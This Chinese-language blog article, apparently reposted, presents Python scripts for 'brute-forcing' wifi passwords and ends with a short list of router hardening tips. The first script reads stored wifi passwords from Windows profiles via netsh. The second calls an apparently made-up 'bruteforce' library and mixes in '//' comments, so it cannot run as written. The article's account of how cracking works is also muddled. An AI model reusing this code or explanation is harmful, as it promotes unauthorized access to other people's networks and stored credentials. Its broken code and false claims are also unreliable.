簡介:本文將從多個方面詳細介紹使用Python暴力破解wifi密碼的方法。代碼實例將被包含在本文中的相關小節中。
一、如何獲取wifi密碼
在使用Python暴力破解wifi密碼之前,我們首先需要獲取目標wifi的密碼。常用的方法有使用默認密碼、利用一些工具進行密碼破解、利用一些漏洞等。例如,使用aircrack-ng可以通過監控無線網絡流量,並進行暴力破解破解wifi密碼。
# import相關模塊
import os
import sys
import subprocess
# 定義掃描wifi函數
def scan_wifi():
commandout = subprocess.Popen(["netsh", "wlan", "show", "network"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = commandout.stdout.read()
if "There are no wireless interfaces on the system." in output:
print("No wireless network available")
return []
else:
output = output.decode("utf-8")
output = output.replace("\r","")
ssid_list = output.split("\n\n")
ssid_list = ssid_list[1:]
ssid_list = [ssid.strip().split('\n') for ssid in ssid_list]
ssids = []
for ssid in ssid_list:
ssid_info = {}
for info in ssid:
if ':' in info:
name, value = info.split(":", 1)
ssid_info[name] = value.strip()
ssids.append(ssid_info)
return ssids
#獲取wifi密碼
def get_wifi_password(ssid):
print("SSID: " + ssid)
profile = subprocess.Popen(["netsh", "wlan", "show", "profile", ssid], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
profile_output = profile.stdout.read()
if "Profile {ssid} is not found on the system".format(ssid=ssid) in profile_output.decode("utf-8"):
print("Profile for ssdi {ssid} not found on the system. Skipping.".format(ssid=ssid))
return False
else:
profile_output = profile_output.decode("utf-8")
profile_output = profile_output.replace("\r","")
profile_info_list = profile_output.split("\n")
profile_info_list = [profile_info for profile_info in profile_info_list if "keyMaterial" in profile_info]
profile_info_list = profile_info_list[0].split(":")
password = profile_info_list[1].strip()
print("Password:", password)
return password
if __name__ == '__main__':
ssids = scan_wifi()
for ssid in ssids:
if ssid['Authentication'] == 'WPA2-Personal':
print("\n[*] Attempting to recover key for SSID: {ssid}".format(ssid=ssid["SSID Name"]))
get_wifi_password(ssid["SSID Name"])
二、如何暴力破解wifi密碼
在獲取wifi密碼之後,我們可以利用Python編寫暴力破解密碼的腳本。例如,下面這個示例代碼將利用Bruteforce庫進行字符組合的暴力嘗試。
import time
import itertools
import string
import math
from bruteforce import bruteforce
def wifi_password_brute(ssid, password_length):
password = ""
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation // 獲取所有字符的列表
t1 = time.time() //記錄開始時間
for i in range(1, password_length+1):
password = itertools.product(characters, repeat=i) // 根據密碼長度不斷組合嘗試破解
for combination in password:
combination = "".join(combination)
print(f"Trying {combination}")
result = bruteforce(ssid, combination) // 利用Bruteforce庫進行破解
if result != -1:
t2 = time.time()
print("WIFI Password:",combination, " Cost Time:", t2 - t1, "s")
return combination
return False
if __name__ == '__main__':
ssid = "wifi_name" # ssid 為要猜測的wifi名
password_length = 6 # 密碼長度
print(wifi_password_brute(ssid, password_length))
三、防止wifi密碼被暴力破解
既然可以使用Python進行wifi密碼的暴力破解,那麼我們需要增強我們的wifi安全以防止密碼泄露。下面列舉了一些對抗wifi密碼暴力破解的方法:
- 修改默認密碼
- 使用更複雜的密碼,包括數字、字母、符號,不少於十個字符
- 採用WPA2協議,並使用802.1x鑒別方式
- 關閉無線路由器的WPS功能
- 啟用MAC地址過濾,允許連接到網絡的設備必須在白名單中
- 不要將無線密碼發送給他人,不要在公共場合使用無線網絡
原創文章,作者:LKKHA,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/374362.html